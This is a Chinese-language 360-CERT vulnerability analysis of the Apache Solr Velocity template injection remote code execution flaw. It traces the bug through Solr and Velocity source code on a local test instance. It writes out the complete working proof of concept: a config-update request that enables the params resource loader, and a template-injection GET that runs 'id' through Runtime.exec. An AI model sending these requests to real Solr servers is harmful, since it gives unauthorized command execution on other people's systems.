报告编号:B6-2019-112701
报告来源:360-CERT
报告作者:360-CERT
更新日期:2019-11-27
0x00 漏洞描述
360CERT已发布预警:https://cert.360.cn/warning/detail?id=fba518d5fc5c4ed4ebedff1dab24caf2
该报告是对此漏洞的利用分析。
solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果
Apache Velocity是一个基于Java的模板引擎,它提供了一个模板语言去引用由Java代码定义的对象
Apache Solr基于Velocity模板存在远程命令执行漏洞。该漏洞是由于Velocity模板存在注入所致。攻击者可利用漏洞访问Solr服务器上Core名称,先把params.resource.loader.enabled设置为true(就可加载指定资源),在服务器执行命令。
漏洞环境
https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/8.2.0/solr-8.2.0.zip
漏洞poc
0x01 环境搭建
进入/bin
目录,执行 ./solr -e dih -force
-e 是以dih示例配置运行
dih示例
本示例在独立模式下启动 Solr,并启用了 DataImportHandler(DIH),并为 DIH 支持的不同类型的数据(如数据库内容、电子邮件、RSS 提要等)预先配置了几个 dataconfig.xml 示例文件。所使用的 configset 是定制的 DIH,并且在 $SOLR_HOME/example/example-DIH/solr/conf 被发现。有关 DIH 无: 本示例使用托管架构在独立模式下启动 Solr, 如 SolrConfig 中的 "架构工厂定义" 中所述, 并提供极少的预定义架构。solr 将以此配置运行在无模式下, solr 将在模式中创建字段, 并猜测在传入文档中使用的字段类型。 所使用的 configset 可在 $SOLR _home/服务器/SOLR/configsets/_default 中找到。的更多信息,请参阅使用数据导入处理程序上载结构化数据存储数据一节。
接着访问
http://127.0.0.1:8983/
或者./solr start -p 1234
关闭项目
./solr stop -p 1234
core实例
简单来说,core就是solr的一个实例,一个solr下可以有多个core,每个core下都有自己的索引库和与之相应的配置文件,所以在操作solr创建索引之前要创建一个core,因为索引都存在core下面
core创建
在bin
目录下执行./solr create -c test
之后在/solr-8.2.0/server/solr
目录下会产生一个test文件夹
0x02 漏洞复现
根据poc来看,需要在第一步设置一些选项
需要开启Velocity模版里VelocityResponseWriter
初始化参数的params.resource.loader.enabled
选项,该选项默认是false
他允许在solr中加载指定的模版
发送数据包
POST /solr/test/config HTTP/1.1
Host: 127.0.0.1:8983
Content-Type: application/json
Content-Length: 259
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
接着请求
GET /solr/test/select?q=1&=&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: 127.0.0.1:8983
这里做一些解释
wt
:输出结果格式,通常为json/xml等格式,如果设置值为velocity 则会通过velocity引擎解析v.template
:指定要呈现的模板的名称。 poc里定义了名称是custom,那么v.template.custom
就是自定义模版的具体内容
0x03 漏洞分析
poc第一步执行流程
配置IDEA进行调试 同时将启动改为
./solr start -p 8983 -f -a "-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8983"
一些路由在server/solr/test/conf/solrconfig.xml
下,比如第二步需要请求select
<requestHandler name="/select" class="solr.SearchHandler">
<!-- default values for query parameters can be specified, these
will be overridden by parameters in the request
-->
<lst name="defaults">
<str name="echoParams">explicit</str>
...
不过没有找到/config,因为这是一个隐式请求,因为它们没有在solrconfig.xml
中配置
具体参考(https://www.w3cschool.cn/solr_doc/solr_doc-3dv92hzk.html)
并且当我们发送poc里的更新请求后, 并不会直接更新solrconfig.xml
,而是会在同级目录下生成一个configoverlay.json
,比如
SolrConfigHandler
的源码在
/solr-core-8.2.0.jar!/org/apache/solr/handler/SolrConfigHandler.class
他继承了RequestHandlerBase
抽象类 并且实现了handleRequestBody
方法
public void handleRequestBody(SolrQueryRequest req, SolrQueryResponse rsp) throws Exception {
RequestHandlerUtils.setWt(req, "json");
String httpMethod = (String)req.getContext().get("httpMethod");
SolrConfigHandler.Command command = new SolrConfigHandler.Command(req, rsp, httpMethod);
if ("POST".equals(httpMethod)) {
if (configEditing_disabled || this.isImmutableConfigSet) {
String reason = configEditing_disabled ? "due to disable.configEdit" : "because ConfigSet is immutable";
throw new SolrException(ErrorCode.FORBIDDEN, " solrconfig editing is not enabled " + reason);
}
try {
command.handlePOST();
} finally {
RequestHandlerUtils.addExperimentalFormatWarning(rsp);
}
} else {
command.handleGET();
}
}
当进入command.handlePOST();
是修改数据,当进入command.handleGET();
是查询数据
我们看到handlePOST();
方法跟入
private void handlePOST() throws IOException {
List<CommandOperation> ops = CommandOperation.readCommands(this.req.getContentStreams(), this.resp.getValues());
if (ops != null) {
try {
while(true) {
ArrayList<CommandOperation> opsCopy = new ArrayList(ops.size());
...
try {
...
} else {
ConfigOverlay overlay = SolrConfig.getConfigOverlay(this.req.getCore().getResourceLoader());
this.handleCommands(opsCopy, overlay);
}
...
继续跟入handleCommands
,此时op
变量的值为我们传入的post值,而overlay是当前配置
首先直接进入了default
default:
List<String> pcs = StrUtils.splitSmart(op.name.toLowerCase(Locale.ROOT), '-');
获取跟元素update-queryresponsewriter
,以-
作分割进入splitSmart
函数
获取第一个值,update
赋给perfix
,queryresponsewriter
赋给name
同时存在perfix
和name
,进入判断,不是delete,进入update
进入updateNamedPlugin
此时clz
为solr.VelocityResponseWriter
,跟入verifyClass
private boolean verifyClass(CommandOperation op, String clz, Class expected) {
if (clz == null) {
return true;
} else {
if (!"true".equals(String.valueOf(op.getStr("runtimeLib", (String)null)))) {
try {
this.req.getCore().createInitInstance(new PluginInfo("requestHandler", op.getDataMap()), expected, clz, "");
} catch (Exception var5) {
op.addError(var5.getMessage());
return false;
}
}
return true;
}
}
在PluginInfo
中,进行数据的赋值
存储在info中
接着进入createInitInstance
public <T> T createInitInstance(PluginInfo info, Class<T> cast, String msg, String defClassName) {
if (info == null) {
return null;
} else {
T o = createInstance(info.className == null ? defClassName : info.className, cast, msg, this, this.getResourceLoader());
if (o instanceof PluginInfoInitialized) {
((PluginInfoInitialized)o).init(info);
} else if (o instanceof NamedListInitializedPlugin) {
((NamedListInitializedPlugin)o).init(info.initArgs);
}
if (o instanceof SearchComponent) {
((SearchComponent)o).setName(info.name);
}
return o;
}
}
将solr.VelocityResponseWriter
传入createInstance
函数进行实例化。
继续跟进,在newInstance
中返回实例
对该类进行赋值
init:
public void init(NamedList args) {
...
Boolean prle = args.getBooleanArg("params.resource.loader.enabled");
this.paramsResourceLoaderEnabled = null == prle ? false : prle;
Boolean srle = args.getBooleanArg("solr.resource.loader.enabled");
this.solrResourceLoaderEnabled = null == srle ? true : srle;
this.initPropertiesFileName = (String)args.get("init.properties.file");
...
}
这样,第一步就执行完了,大致流程(自己总结的可能不太好)
poc第二步执行流程
定位到/org/apache/solr/handler/RequestHandlerBase.class:handleRequest
跟到/solr-core-8.2.0.jar!/org/apache/solr/servlet/HttpSolrCall.class:writeResponse:Action()
方法
(HttpSolrCall
是solr底层发送http请求的中转站)
跟入
获取了wt的值,为velocity
protected QueryResponseWriter getResponseWriter() {
String wt = this.solrReq.getParams().get("wt");
return this.core != null ? this.core.getQueryResponseWriter(wt) : (QueryResponseWriter)SolrCore.DEFAULT_RESPONSE_WRITERS.getOrDefault(wt, SolrCore.DEFAULT_RESPONSE_WRITERS.get("standard"));
}
根据velocity
在getQueryResponseWriter
返回VelocityResponseWriter
(我们触发漏洞使用到的类) 赋给变量responseWriter
接着跟进writeResponse
继续跟进writeQueryResponse
方法,其中this.solrReq
是我们的payload
继续跟到writeQueryResponse
的write
方法里
第一行 创建了一个VelocityEngine
实例(VelocityEngine类主要是供一些框架开发者调用的,它提供了更加复杂的接口供调用者选择)我们跟进去看看,首先实例化了一个engine
判断paramsResourceLoaderEnabled
是否为true,之前在第一步我们已经将其设置为true
,也就意味着允许在 Solr 请求参数中指定模板
接着进入if判断里的SolrParamResourceLoader
方法,并给javaBean
赋值
这里获取到了我们payload里的param参数,然后创建了一个Iterator类型的变量names,利用迭代器去取出param里的值,遍历的同时取出v.template.
的值,也就是我们的自定义模版
v.template.custom
,将其存入templates
接着回到createContext
,由于该选项也被设置为true,于是进入判断
返回一些配置信息,往下走,返回engine,回到write方法,进入getTemplate
方法,将engine作为参数传入
返回了template的名字和我们请求的path
往下走 进入getTemplate
(注意:需要导入/contrib/velocity/lib下面的jar包才能进入)
最后处理的template为custom.vm
,执行完毕后,返回到write
,跟入
跟到/org/apache/velocity/Template.class
的merge
方法,有render
函数,是渲染模版的,跟入render
JJTree语法树
这一块内容涉及到了JJTree渲染过程解析,下面做一个了解(不全部学习,只看payload中出现的)
这里获取了一个children数组,AST这些东西对应的是JJTree语法树,#set
语法对应的Velocity
语法树是ASTSetDirective
类,也就是图里的,它有两个子节点,RightHandSide
和LeftHandSide
,分别代表"="两边的表达式值,对应这里的left
和right
,左边的LeftHandSide
可能是一个变量标识符,也可能是一个set
方法调用,比如#set($var="xxx")
,另外是一个set方法调用,如#set($person.name="junshan")
,这实际上相当于Java中person.setName("junshan")
方法的调用,如何区分,看到下面分析render的步骤就了解了
Velocity
通过ASTReference
类来表示一个变量和变量的方法调用,ASTReference
类如果有子节点,就表示这个变量有方法调用,方法调用同样是通过“.”来区分的,每一个点后面会对应一个方法调用。ASTReference
有两种类型的子节点,分别是ASTIdentifier
和ASTMethod
。它们分别代表两种类型的方法调用,其中ASTIdentifier
主要表示隐式的“get”和“set”类型的方法调用。而ASTMethod
表示所有其他类型的方法调用,如所有带括号的方法调用都会被解析成ASTMethod
类型的节点
所谓隐式方法调用在Velocity中通常有如下几种。
1.Set类型,如#set($person.name=”junshan”)
,如下:
person.setName(“junshan”)
person.setname(“junshan”)
person.put(“name”,”junshan”)
2.Get类型,如#set($name=$person.name)
中的$person.name,如下:
person.getName()
person.getname()
person.get(“name”)
person.isname()
person.isName()
下面的ASTText
属于叶子结点,它位于树的叶子上,没有子节点,这种类型的节点要么直接输出值,要么写到writer中,如ASTText
set($x)的执行
目的仅仅是分析执行代码的流程,为了方便,我修改了poc将其改为弹calc
/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($ex=$rt.getRuntime().exec(%27open /Applications/Calculator.app/%27))
然后依次执行当前节点的所有子节点的render方法,每个节点的渲染规则都在render方法中实现,如果是ASTReference类型的节点则在render方法中会调用execute方法执行反射替换相关处理
这里调用ASTSetDirective
节点的render
Object var4 = this.right.value(var1);
这一段代码获取了右边表达式的值,此时是""
,是一个空字符串,接着根据左边是否有子节点判断是变量标识符还是调用set方法,调用ASTStringLiteral
的value
方法,盲猜是获取字符串的值
最后调用ASTReference
的setValue
调用InternalContextAdapterImple
的put方法将x和x的值存入,是一个能存储上下文的适配器
然后返回,继续遍历调用render
set($rt)的执行
根据set,调用ASTSetDirective
节点的render方法进行渲染,到
Object var4 = this.right.value(var1);
因为$x是ASTReference
类型
所以此时调用ASTReference
节点的value
方法,接着调用ASTReference
的execute
进行反射/内省,跟入
传入两个参数,一个是全局上下文,一个是要获取的rootString,这里就是x,执行结果就会返回上一次render的x值。
继续走,有两个子节点,分别是class
和forName
对应的两个节点,然后做一个for循环,一次对子节点调用execute
进行反射/内省,这里传入了var4也就是x的值
ASTIdentifier
的execute方法(ASTIdentifier主要表示隐式的“get”和“set”类型的方法调用)执行完后,返回了class java.lang.String,
接着进行下一次循环,也就是ASTMethod
的execute方法(ASTMethod表示所有其他类型的方法调用,如所有带括号的方法调用都会被解析成ASTMethod类型的节点)
在execute里会执行
Object var7 = var13.invoke(var1, var3);
var13是UberspectImpl
里面存储着反射的类信息,传入var1是java.lang.String,var3是
跟入后,在doInvoke返回java.lang.Runtime
set($ex)的执行,不细跟
这里就不再继续跟了,最终反射的调用还是在doInvoke这个位置,造成了exec的执行
最终调用链如下
输出AST
我们的poc执行的AST全部情况如下,非常的直观明了
附上代码
package hu3sky.Velocity.com;
import org.apache.velocity.runtime.parser.CharStream;
import org.apache.velocity.runtime.parser.Parser;
import org.apache.velocity.runtime.parser.VelocityCharStream;
import org.apache.velocity.runtime.parser.node.SimpleNode;
import java.io.ByteArrayInputStream;
public class Velocity {
public static void main(String[] args) {
String temp = "#set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($ex=$rt.getRuntime().exec('open /Applications/Calculator.app/'))";
CharStream stream = new VelocityCharStream(new ByteArrayInputStream(temp.getBytes()), 0, 0);
Parser t = new Parser(stream);
try {
SimpleNode n = t.process();
n.dump("");
} catch (Exception e) {
e.printStackTrace();
}
}
}
0x04 Reference
- https://www.w3cschool.cn/solr_doc/
- https://www.w3cschool.cn/solr_doc/solr_doc-umxd2h9z.html
- https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/
- https://blog.csdn.net/jediael_lu/article/details/38039267
- https://blog.csdn.net/awhip9/article/details/52541611
- https://lucene.apache.org/solr/7_6_0//solr-core/org/apache/solr/handler/SolrConfigHandler.html
- https://www.w3cschool.cn/solr_doc/solr_doc-3dv92hzk.html
- https://www.twblogs.net/a/5b8afdc32b71773b27ca38c5
- https://www.twblogs.net/a/5b7f24fd2b717767c6ae07d8
- https://lucene.apache.org/solr/guide/6_6/velocity-response-writer.html#velocity-response-writer
- https://www.cnblogs.com/wade-luffy/p/5996848.html
- http://xiongzheng.me/code/2014/12/07/velocity-code-read/